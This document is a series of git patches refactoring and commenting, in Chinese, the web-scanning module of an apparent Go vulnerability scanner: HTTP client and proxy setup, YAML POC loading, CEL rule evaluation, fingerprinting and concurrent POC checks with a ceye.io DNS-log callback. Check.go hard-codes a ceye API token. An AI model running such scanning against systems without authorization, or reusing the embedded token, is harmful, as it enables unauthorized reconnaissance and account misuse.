errors.New("Failed type assertion to DialContext") + return errors.New("无法转换为DialContext类型") } } else if DownProxy != "" { + // 处理其他代理配置 if DownProxy == "1" { DownProxy = "http://127.0.0.1:8080" } else if DownProxy == "2" { @@ -74,9 +85,13 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err } else if !strings.Contains(DownProxy, "://") { DownProxy = "http://127.0.0.1:" + DownProxy } + + // 验证代理类型 if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { - return errors.New("no support this proxy") + return errors.New("不支持的代理类型") } + + // 解析代理URL u, err := url.Parse(DownProxy) if err != nil { return err @@ -84,81 +99,100 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err tr.Proxy = http.ProxyURL(u) } + // 创建标准HTTP客户端 Client = &http.Client{ Transport: tr, Timeout: Timeout, } + + // 创建不跟随重定向的HTTP客户端 ClientNoRedirect = &http.Client{ Transport: tr, Timeout: Timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } + return nil } +// Poc 定义漏洞检测配置结构 type Poc struct { - Name string `yaml:"name"` - Set StrMap `yaml:"set"` - Sets ListMap `yaml:"sets"` - Rules []Rules `yaml:"rules"` - Groups RuleMap `yaml:"groups"` - Detail Detail `yaml:"detail"` + Name string `yaml:"name"` // POC名称 + Set StrMap `yaml:"set"` // 单值配置映射 + Sets ListMap `yaml:"sets"` // 列表值配置映射 + Rules []Rules `yaml:"rules"` // 检测规则列表 + Groups RuleMap `yaml:"groups"` // 规则组映射 + Detail Detail `yaml:"detail"` // 漏洞详情 } +// MapSlice 用于解析YAML的通用映射类型 type MapSlice = yaml.MapSlice -type StrMap []StrItem -type ListMap []ListItem -type RuleMap []RuleItem +// 自定义映射类型 +type ( + StrMap []StrItem // 字符串键值对映射 + ListMap []ListItem // 字符串键列表值映射 + RuleMap []RuleItem // 字符串键规则列表映射 +) -type StrItem struct { - Key, Value string -} +// 映射项结构定义 +type ( + // StrItem 字符串键值对 + StrItem struct { + Key string // 键名 + Value string // 值 + } -type ListItem struct { - Key string - Value []string -} + // ListItem 字符串键列表值对 + ListItem struct { + Key string // 键名 + Value []string // 值列表 + } -type RuleItem struct { - Key string - Value []Rules -} + // RuleItem 字符串键规则列表对 + RuleItem struct { + Key string // 键名 + Value []Rules // 规则列表 + } +) +// UnmarshalYAML 实现StrMap的YAML解析接口 func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 临时使用MapSlice存储解析结果 var tmp yaml.MapSlice if err := unmarshal(&tmp); err != nil { return err } + + // 转换为StrMap结构 for _, one := range tmp { key, value := one.Key.(string), one.Value.(string) *r = append(*r, StrItem{key, value}) } + return nil } -//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error { -// var tmp yaml.MapSlice -// if err := unmarshal(&tmp); err != nil { -// return err -// } -// //for _,one := range tmp{ -// // key,value := one.Key.(string),one.Value.(string) -// // *r = append(*r,StrItem{key,value}) -// //} -// return nil -//} - +// UnmarshalYAML 实现RuleMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 使用MapSlice保持键的顺序 var tmp1 yaml.MapSlice if err := unmarshal(&tmp1); err != nil { return err } + + // 解析规则内容 var tmp = make(map[string][]Rules) if err := unmarshal(&tmp); err != nil { return err } + // 按顺序转换为RuleMap结构 for _, one := range tmp1 { key := one.Key.(string) value := tmp[key] @@ -167,14 +201,24 @@ func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { return nil } +// UnmarshalYAML 实现ListMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 解析YAML映射 var tmp yaml.MapSlice if err := unmarshal(&tmp); err != nil { return err } + + // 转换为ListMap结构 for _, one := range tmp { key := one.Key.(string) var value []string + // 将接口类型转换为字符串 for _, val := range one.Value.([]interface{}) { v := fmt.Sprintf("%v", val) value = append(value, v) @@ -184,58 +228,68 @@ func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { return nil } +// Rules 定义POC检测规则结构 type Rules struct { - Method string `yaml:"method"` - Path string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Search string `yaml:"search"` - FollowRedirects bool `yaml:"follow_redirects"` - Expression string `yaml:"expression"` - Continue bool `yaml:"continue"` + Method string `yaml:"method"` // HTTP请求方法 + Path string `yaml:"path"` // 请求路径 + Headers map[string]string `yaml:"headers"` // 请求头 + Body string `yaml:"body"` // 请求体 + Search string `yaml:"search"` // 搜索模式 + FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向 + Expression string `yaml:"expression"` // 匹配表达式 + Continue bool `yaml:"continue"` // 是否继续执行 } +// Detail 定义POC详情结构 type Detail struct { - Author string `yaml:"author"` - Links []string `yaml:"links"` - Description string `yaml:"description"` - Version string `yaml:"version"` + Author string `yaml:"author"` // POC作者 + Links []string `yaml:"links"` // 相关链接 + Description string `yaml:"description"` // POC描述 + Version string `yaml:"version"` // POC版本 } +// LoadMultiPoc 加载多个POC文件 func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { var pocs []*Poc + // 遍历选中的POC文件 for _, f := range SelectPoc(Pocs, pocname) { if p, err := LoadPoc(f, Pocs); err == nil { pocs = append(pocs, p) } else { - fmt.Println("[-] load poc ", f, " error:", err) + fmt.Printf("[-] POC加载失败 %s: %v\n", f, err) } } return pocs } +// LoadPoc 从内嵌文件系统加载单个POC func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { p := &Poc{} + // 读取POC文件内容 yamlFile, err := Pocs.ReadFile("pocs/" + fileName) - if err != nil { - fmt.Printf("[-] load poc %s error1: %v\n", fileName, err) + fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) return nil, err } + + // 解析YAML内容 err = yaml.Unmarshal(yamlFile, p) if err != nil { - fmt.Printf("[-] load poc %s error2: %v\n", fileName, err) + fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) return nil, err } return p, err } +// SelectPoc 根据名称关键字选择POC文件 func SelectPoc(Pocs embed.FS, pocname string) []string { entries, err := Pocs.ReadDir("pocs") if err != nil { - fmt.Println(err) + fmt.Printf("[-] 读取POC目录失败: %v\n", err) } + var foundFiles []string + // 查找匹配关键字的POC文件 for _, entry := range entries { if strings.Contains(entry.Name(), pocname) { foundFiles = append(foundFiles, entry.Name()) @@ -244,16 +298,20 @@ func SelectPoc(Pocs embed.FS, pocname string) []string { return foundFiles } +// LoadPocbyPath 从文件系统路径加载POC func LoadPocbyPath(fileName string) (*Poc, error) { p := &Poc{} + // 读取POC文件内容 data, err := os.ReadFile(fileName) if err != nil { - fmt.Printf("[-] load poc %s error3: %v\n", fileName, err) + fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) return nil, err } + + // 解析YAML内容 err = yaml.Unmarshal(data, p) if err != nil { - fmt.Printf("[-] load poc %s error4: %v\n", fileName, err) + fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) return nil, err } return p, err From 4d3ccba255615db6fae67a8f1144263ff9203f62 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:26:30 +0800 Subject: [PATCH 038/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Eval.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Eval.go | 287 +++++++++++++++++++++++++++++--------------- 1 file changed, 191 insertions(+), 96 deletions(-) diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go index 0143277..a1cb77b 100644 --- a/WebScan/lib/Eval.go +++ b/WebScan/lib/Eval.go @@ -24,68 +24,86 @@ import ( "time" ) +// NewEnv 创建一个新的 CEL 环境 func NewEnv(c *CustomLib) (*cel.Env, error) { return cel.NewEnv(cel.Lib(c)) } +// Evaluate 评估 CEL 表达式 func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { + // 空表达式默认返回 true if expression == "" { return types.Bool(true), nil } - ast, iss := env.Compile(expression) - if iss.Err() != nil { - //fmt.Printf("compile: ", iss.Err()) - return nil, iss.Err() + + // 编译表达式 + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return nil, fmt.Errorf("表达式编译错误: %w", issues.Err()) } - prg, err := env.Program(ast) + // 创建程序 + program, err := env.Program(ast) if err != nil { - //fmt.Printf("Program creation error: %v", err) - return nil, err + return nil, fmt.Errorf("程序创建错误: %w", err) } - out, _, err := prg.Eval(params) + // 执行评估 + result, _, err := program.Eval(params) if err != nil { - //fmt.Printf("Evaluation error: %v", err) - return nil, err + return nil, fmt.Errorf("表达式评估错误: %w", err) } - return out, nil + + return result, nil } +// UrlTypeToString 将 URL 结构体转换为字符串 func UrlTypeToString(u *UrlType) string { - var buf strings.Builder + var builder strings.Builder + + // 处理 scheme 部分 if u.Scheme != "" { - buf.WriteString(u.Scheme) - buf.WriteByte(':') + builder.WriteString(u.Scheme) + builder.WriteByte(':') } + + // 处理 host 部分 if u.Scheme != "" || u.Host != "" { if u.Host != "" || u.Path != "" { - buf.WriteString("//") + builder.WriteString("//") } - if h := u.Host; h != "" { - buf.WriteString(u.Host) + if host := u.Host; host != "" { + builder.WriteString(host) } } + + // 处理 path 部分 path := u.Path if path != "" && path[0] != '/' && u.Host != "" { - buf.WriteByte('/') + builder.WriteByte('/') } - if buf.Len() == 0 { + + // 处理相对路径 + if builder.Len() == 0 { if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { - buf.WriteString("./") + builder.WriteString("./") } } - buf.WriteString(path) + builder.WriteString(path) + // 处理查询参数 if u.Query != "" { - buf.WriteByte('?') - buf.WriteString(u.Query) + builder.WriteByte('?') + builder.WriteString(u.Query) } + + // 处理片段标识符 if u.Fragment != "" { - buf.WriteByte('#') - buf.WriteString(u.Fragment) + builder.WriteByte('#') + builder.WriteString(u.Fragment) } - return buf.String() + + return builder.String() } type CustomLib struct { @@ -519,179 +537,256 @@ func NewEnvOption() CustomLib { return c } -// 声明环境中的变量类型和函数 +// CompileOptions 返回环境编译选项 func (c *CustomLib) CompileOptions() []cel.EnvOption { return c.envOptions } +// ProgramOptions 返回程序运行选项 func (c *CustomLib) ProgramOptions() []cel.ProgramOption { return c.programOptions } +// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明 func (c *CustomLib) UpdateCompileOptions(args StrMap) { for _, item := range args { - k, v := item.Key, item.Value - // 在执行之前是不知道变量的类型的,所以统一声明为字符型 - // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string - var d *exprpb.Decl - if strings.HasPrefix(v, "randomInt") { - d = decls.NewIdent(k, decls.Int, nil) - } else if strings.HasPrefix(v, "newReverse") { - d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil) - } else { - d = decls.NewIdent(k, decls.String, nil) + key, value := item.Key, item.Value + + // 根据函数前缀确定变量类型 + var declaration *exprpb.Decl + switch { + case strings.HasPrefix(value, "randomInt"): + // randomInt 函数返回整型 + declaration = decls.NewIdent(key, decls.Int, nil) + case strings.HasPrefix(value, "newReverse"): + // newReverse 函数返回 Reverse 对象 + declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil) + default: + // 默认声明为字符串类型 + declaration = decls.NewIdent(key, decls.String, nil) } - c.envOptions = append(c.envOptions, cel.Declarations(d)) + + c.envOptions = append(c.envOptions, cel.Declarations(declaration)) } } +// 初始化随机数生成器 var randSource = rand.New(rand.NewSource(time.Now().Unix())) +// randomLowercase 生成指定长度的小写字母随机字符串 func randomLowercase(n int) string { - lowercase := "abcdefghijklmnopqrstuvwxyz" + const lowercase = "abcdefghijklmnopqrstuvwxyz" return RandomStr(randSource, lowercase, n) } +// randomUppercase 生成指定长度的大写字母随机字符串 func randomUppercase(n int) string { - uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" return RandomStr(randSource, uppercase, n) } +// randomString 生成指定长度的随机字符串(包含大小写字母和数字) func randomString(n int) string { - charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" return RandomStr(randSource, charset, n) } +// reverseCheck 检查 DNS 记录是否存在 func reverseCheck(r *Reverse, timeout int64) bool { + // 检查必要条件 if ceyeApi == "" || r.Domain == "" || !Common.DnsLog { return false } + + // 等待指定时间 time.Sleep(time.Second * time.Duration(timeout)) + + // 提取子域名 sub := strings.Split(r.Domain, ".")[0] - urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) - //fmt.Println(urlStr) - req, _ := http.NewRequest("GET", urlStr, nil) + + // 构造 API 请求 URL + apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", + ceyeApi, sub) + + // 创建并发送请求 + req, _ := http.NewRequest("GET", apiURL, nil) resp, err := DoRequest(req, false) if err != nil { return false } - if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空 - fmt.Println(urlStr) + // 检查响应内容 + hasData := !bytes.Contains(resp.Body, []byte(`"data": []`)) + isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`)) + + if hasData && isOK { + fmt.Println(apiURL) return true } return false } +// RandomStr 生成指定长度的随机字符串 func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { const ( - letterIdxBits = 6 // 6 bits to represent a letter index - letterIdxMask = 1<= 0; { + // 当可用的随机位用完时,重新获取随机数 if remain == 0 { cache, remain = randSource.Int63(), letterIdxMax } + + // 获取字符集中的随机索引 if idx := int(cache & letterIdxMask); idx < len(letterBytes) { randBytes[i] = letterBytes[idx] i-- } + + // 右移已使用的位,更新计数器 cache >>= letterIdxBits remain-- } + return string(randBytes) } +// DoRequest 执行 HTTP 请求 func DoRequest(req *http.Request, redirect bool) (*Response, error) { - if req.Body == nil || req.Body == http.NoBody { - } else { + // 处理请求头 + if req.Body != nil && req.Body != http.NoBody { + // 设置 Content-Length req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) + + // 如果未指定 Content-Type,设置默认值 if req.Header.Get("Content-Type") == "" { req.Header.Set("Content-Type", "application/x-www-form-urlencoded") } } - var oResp *http.Response - var err error + + // 执行请求 + var ( + oResp *http.Response + err error + ) + if redirect { oResp, err = Client.Do(req) } else { oResp, err = ClientNoRedirect.Do(req) } + if err != nil { - //fmt.Println("[-]DoRequest error: ",err) - return nil, err + return nil, fmt.Errorf("请求执行失败: %w", err) } defer oResp.Body.Close() + + // 解析响应 resp, err := ParseResponse(oResp) if err != nil { - Common.LogError("[-] ParseResponse error: " + err.Error()) - //return nil, err + Common.LogError("响应解析失败: " + err.Error()) } + return resp, err } +// ParseUrl 解析 URL 并转换为自定义 URL 类型 func ParseUrl(u *url.URL) *UrlType { - nu := &UrlType{} - nu.Scheme = u.Scheme - nu.Domain = u.Hostname() - nu.Host = u.Host - nu.Port = u.Port() - nu.Path = u.EscapedPath() - nu.Query = u.RawQuery - nu.Fragment = u.Fragment - return nu + return &UrlType{ + Scheme: u.Scheme, + Domain: u.Hostname(), + Host: u.Host, + Port: u.Port(), + Path: u.EscapedPath(), + Query: u.RawQuery, + Fragment: u.Fragment, + } } +// ParseRequest 将标准 HTTP 请求转换为自定义请求对象 func ParseRequest(oReq *http.Request) (*Request, error) { - req := &Request{} - req.Method = oReq.Method - req.Url = ParseUrl(oReq.URL) - header := make(map[string]string) - for k := range oReq.Header { - header[k] = oReq.Header.Get(k) + req := &Request{ + Method: oReq.Method, + Url: ParseUrl(oReq.URL), + Headers: make(map[string]string), + ContentType: oReq.Header.Get("Content-Type"), } - req.Headers = header - req.ContentType = oReq.Header.Get("Content-Type") - if oReq.Body == nil || oReq.Body == http.NoBody { - } else { + + // 复制请求头 + for k := range oReq.Header { + req.Headers[k] = oReq.Header.Get(k) + } + + // 处理请求体 + if oReq.Body != nil && oReq.Body != http.NoBody { data, err := io.ReadAll(oReq.Body) if err != nil { - return nil, err + return nil, fmt.Errorf("读取请求体失败: %w", err) } req.Body = data + // 重新设置请求体,允许后续重复读取 oReq.Body = io.NopCloser(bytes.NewBuffer(data)) } + return req, nil } +// ParseResponse 将标准 HTTP 响应转换为自定义响应对象 func ParseResponse(oResp *http.Response) (*Response, error) { - var resp Response - header := make(map[string]string) - resp.Status = int32(oResp.StatusCode) - resp.Url = ParseUrl(oResp.Request.URL) - for k := range oResp.Header { - header[k] = strings.Join(oResp.Header.Values(k), ";") + resp := Response{ + Status: int32(oResp.StatusCode), + Url: ParseUrl(oResp.Request.URL), + Headers: make(map[string]string), + ContentType: oResp.Header.Get("Content-Type"), + } + + // 复制响应头,合并多值头部为分号分隔的字符串 + for k := range oResp.Header { + resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";") + } + + // 读取并解析响应体 + body, err := getRespBody(oResp) + if err != nil { + return nil, fmt.Errorf("处理响应体失败: %w", err) } - resp.Headers = header - resp.ContentType = oResp.Header.Get("Content-Type") - body, _ := getRespBody(oResp) resp.Body = body + return &resp, nil } -func getRespBody(oResp *http.Response) (body []byte, err error) { - body, err = io.ReadAll(oResp.Body) +// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩 +func getRespBody(oResp *http.Response) ([]byte, error) { + // 读取原始响应体 + body, err := io.ReadAll(oResp.Body) + if err != nil && err != io.EOF { + return nil, err + } + + // 处理 gzip 压缩 if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") { - reader, err1 := gzip.NewReader(bytes.NewReader(body)) - if err1 == nil { - body, err = io.ReadAll(reader) + reader, err := gzip.NewReader(bytes.NewReader(body)) + if err != nil { + return body, nil // 如果解压失败,返回原始数据 } + defer reader.Close() + + decompressed, err := io.ReadAll(reader) + if err != nil && err != io.EOF { + return nil, err + } + return decompressed, nil } - if err == io.EOF { - err = nil - } - return + + return body, nil } From 6d499dae10b5f3a5642d5d4298e1dadbaca0c798 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:49:45 +0800 Subject: [PATCH 039/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96InfoScan.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/InfoScan.go | 87 ++++++++++++++++++++++++++++++--------------- 1 file changed, 58 insertions(+), 29 deletions(-) diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 0a6dc18..8ee936d 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -8,62 +8,91 @@ import ( "regexp" ) +// CheckDatas 存储HTTP响应的检查数据 type CheckDatas struct { - Body []byte - Headers string + Body []byte // 响应体 + Headers string // 响应头 } +// InfoCheck 检查URL的指纹信息 func InfoCheck(Url string, CheckData *[]CheckDatas) []string { - var matched bool - var infoname []string + var matchedInfos []string + // 遍历检查数据 for _, data := range *CheckData { + // 规则匹配检查 for _, rule := range info.RuleDatas { - if rule.Type == "code" { - matched, _ = regexp.MatchString(rule.Rule, string(data.Body)) - } else { - matched, _ = regexp.MatchString(rule.Rule, data.Headers) + var matched bool + var err error + + // 根据规则类型选择匹配内容 + switch rule.Type { + case "code": + matched, err = regexp.MatchString(rule.Rule, string(data.Body)) + default: + matched, err = regexp.MatchString(rule.Rule, data.Headers) } - if matched == true { - infoname = append(infoname, rule.Name) + + // 处理匹配错误 + if err != nil { + Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err)) + continue + } + + // 添加匹配成功的规则名 + if matched { + matchedInfos = append(matchedInfos, rule.Name) } } - //flag, name := CalcMd5(data.Body) - //if flag == true { - // infoname = append(infoname, name) - //} + // MD5匹配检查暂时注释 + /* + if flag, name := CalcMd5(data.Body); flag { + matchedInfos = append(matchedInfos, name) + } + */ } - infoname = removeDuplicateElement(infoname) + // 去重处理 + matchedInfos = removeDuplicateElement(matchedInfos) - if len(infoname) > 0 { - result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname) + // 输出结果 + if len(matchedInfos) > 0 { + result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) Common.LogSuccess(result) - return infoname + return matchedInfos } + return []string{""} } +// CalcMd5 计算内容的MD5并与指纹库比对 func CalcMd5(Body []byte) (bool, string) { - has := md5.Sum(Body) - md5str := fmt.Sprintf("%x", has) - for _, md5data := range info.Md5Datas { - if md5str == md5data.Md5Str { - return true, md5data.Name + contentMd5 := fmt.Sprintf("%x", md5.Sum(Body)) + + // 比对MD5指纹库 + for _, md5Info := range info.Md5Datas { + if contentMd5 == md5Info.Md5Str { + return true, md5Info.Name } } + return false, "" } -func removeDuplicateElement(languages []string) []string { - result := make([]string, 0, len(languages)) - temp := map[string]struct{}{} - for _, item := range languages { - if _, ok := temp[item]; !ok { - temp[item] = struct{}{} +// removeDuplicateElement 移除切片中的重复元素 +func removeDuplicateElement(items []string) []string { + // 预分配空间 + result := make([]string, 0, len(items)) + seen := make(map[string]struct{}, len(items)) + + // 使用map去重 + for _, item := range items { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} result = append(result, item) } } + return result } From 9296ad08469d46971342609ec25d66f4e17a47ed Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:49:52 +0800 Subject: [PATCH 040/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96WebScan.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/WebScan.go | 76 ++++++++++++++++++++++++++++------------------ 1 file changed, 47 insertions(+), 29 deletions(-) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 15025bb..28ddba7 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -18,15 +18,22 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc +// WebScan 执行Web漏洞扫描 func WebScan(info *Config.HostInfo) { + // 确保POC只初始化一次 once.Do(initpoc) - var pocinfo = Common.Pocinfo - buf := strings.Split(info.Url, "/") - pocinfo.Target = strings.Join(buf[:3], "/") + // 构建扫描信息 + var pocinfo = Common.Pocinfo + urlParts := strings.Split(info.Url, "/") + pocinfo.Target = strings.Join(urlParts[:3], "/") + + // 执行扫描 if pocinfo.PocName != "" { + // 指定POC扫描 Execute(pocinfo) } else { + // 根据指纹信息选择POC扫描 for _, infostr := range info.Infostr { pocinfo.PocName = lib.CheckInfoPoc(infostr) Execute(pocinfo) @@ -34,69 +41,80 @@ func WebScan(info *Config.HostInfo) { } } +// Execute 执行具体的POC检测 func Execute(PocInfo Common.PocInfo) { + // 创建基础HTTP请求 req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { - errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err)) return } + + // 设置请求头 req.Header.Set("User-agent", Common.UserAgent) req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if Common.Cookie != "" { req.Header.Set("Cookie", Common.Cookie) } + + // 根据名称筛选POC并执行 pocs := filterPoc(PocInfo.PocName) lib.CheckMultiPoc(req, pocs, Common.PocNum) } +// initpoc 初始化POC加载 func initpoc() { if Common.PocPath == "" { + // 从嵌入的POC目录加载 entries, err := Pocs.ReadDir("pocs") if err != nil { - fmt.Printf("[-] init poc error: %v", err) + Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err)) return } - for _, one := range entries { - path := one.Name() - if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { - if poc, _ := lib.LoadPoc(path, Pocs); poc != nil { + + // 加载YAML格式的POC文件 + for _, entry := range entries { + filename := entry.Name() + if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") { + if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil { AllPocs = append(AllPocs, poc) } } } } else { - fmt.Println("[+] load poc from " + Common.PocPath) - err := filepath.Walk(Common.PocPath, - func(path string, info os.FileInfo, err error) error { - if err != nil || info == nil { - return err + // 从指定目录加载POC + Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath)) + err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error { + if err != nil || info == nil { + return err + } + + if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) { + if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil { + AllPocs = append(AllPocs, poc) } - if !info.IsDir() { - if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { - poc, _ := lib.LoadPocbyPath(path) - if poc != nil { - AllPocs = append(AllPocs, poc) - } - } - } - return nil - }) + } + return nil + }) + if err != nil { - fmt.Printf("[-] init poc error: %v", err) + Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err)) } } } -func filterPoc(pocname string) (pocs []*lib.Poc) { +// filterPoc 根据POC名称筛选 +func filterPoc(pocname string) []*lib.Poc { if pocname == "" { return AllPocs } + + var matchedPocs []*lib.Poc for _, poc := range AllPocs { if strings.Contains(poc.Name, pocname) { - pocs = append(pocs, poc) + matchedPocs = append(matchedPocs, poc) } } - return + return matchedPocs } From 7f62d4a8358c4a565a227b2e2c517b10660d684f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:49:58 +0800 Subject: [PATCH 041/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Check.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Check.go | 641 +++++++++++++++++++++++++++---------------- 1 file changed, 409 insertions(+), 232 deletions(-) diff --git a/WebScan/lib/Check.go b/WebScan/lib/Check.go index be706a4..79f96cd 100644 --- a/WebScan/lib/Check.go +++ b/WebScan/lib/Check.go @@ -15,182 +15,227 @@ import ( "time" ) -var ( - ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" - ceyeDomain = "7wtusr.ceye.io" +// API配置常量 +const ( + ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥 + ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名 ) +// Task 定义单个POC检测任务的结构体 type Task struct { - Req *http.Request - Poc *Poc + Req *http.Request // HTTP请求对象 + Poc *Poc // POC检测脚本 } +// CheckMultiPoc 并发执行多个POC检测 +// 参数说明: +// - req: HTTP请求对象 +// - pocs: POC检测脚本列表 +// - workers: 并发工作协程数量 func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { - tasks := make(chan Task) + if workers <= 0 { + workers = 1 // 确保至少有一个工作协程 + } + + tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞 var wg sync.WaitGroup + + // 启动工作协程池 for i := 0; i < workers; i++ { go func() { for task := range tasks { - isVul, _, name := executePoc(task.Req, task.Poc) - if isVul { - result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) + // 执行POC检测 + isVulnerable, details, vulName := executePoc(task.Req, task.Poc) + + if isVulnerable { + // 格式化输出结果 + result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+ + " 漏洞类型: %s\n"+ + " 漏洞名称: %s\n"+ + " 详细信息: %s", + task.Req.URL, + task.Poc.Name, + vulName, + details) + Common.LogSuccess(result) } wg.Done() } }() } + + // 分发任务 for _, poc := range pocs { - task := Task{ + wg.Add(1) + tasks <- Task{ Req: req, Poc: poc, } - wg.Add(1) - tasks <- task } + + // 等待所有任务完成 wg.Wait() close(tasks) } +// executePoc 执行单个POC检测 func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { - c := NewEnvOption() - c.UpdateCompileOptions(p.Set) + // 初始化环境配置 + config := NewEnvOption() + config.UpdateCompileOptions(p.Set) + + // 处理额外的设置项 if len(p.Sets) > 0 { var setMap StrMap for _, item := range p.Sets { + value := "" if len(item.Value) > 0 { - setMap = append(setMap, StrItem{item.Key, item.Value[0]}) - 